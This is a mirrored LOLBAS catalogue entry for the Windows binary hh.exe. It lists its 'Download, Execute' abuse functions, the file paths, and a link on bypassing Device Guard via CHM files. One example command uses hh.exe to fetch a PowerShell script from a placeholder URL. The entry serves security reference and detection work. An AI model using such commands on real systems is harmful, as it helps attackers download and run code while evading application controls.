mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-27 15:28:34 +01:00
27 lines
553 B
Markdown
27 lines
553 B
Markdown
|
## hh.exe
|
||
|
|
* Functions: Download, Execute
|
||
|
|
```
|
||
|
|
|
||
|
|
HH.exe http://www.google.com
|
||
|
|
Opens google's web page with HTML Help.
|
||
|
|
|
||
|
|
HH.exe C:\
|
||
|
|
Opens c:\\ with HTML Help.
|
||
|
|
|
||
|
|
HH.exe c:\windows\system32\calc.exe
|
||
|
|
Opens calc.exe with HTML Help.
|
||
|
|
|
||
|
|
HH.exe http://some.url/script.ps1
|
||
|
|
Open the target PowerShell script with HTML Help.
|
||
|
|
```
|
||
|
|
|
||
|
|
* Resources:
|
||
|
|
* https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/
|
||
|
|
|
||
|
|
* Full path:
|
||
|
|
* c:\windows\system32\hh.exe
|
||
|
|
* c:\windows\sysWOW64\hh.exe
|
||
|
|
|
||
|
|
* Notes: Thanks to Oddvar Moe - @oddvarmoe
|
||
|
|
|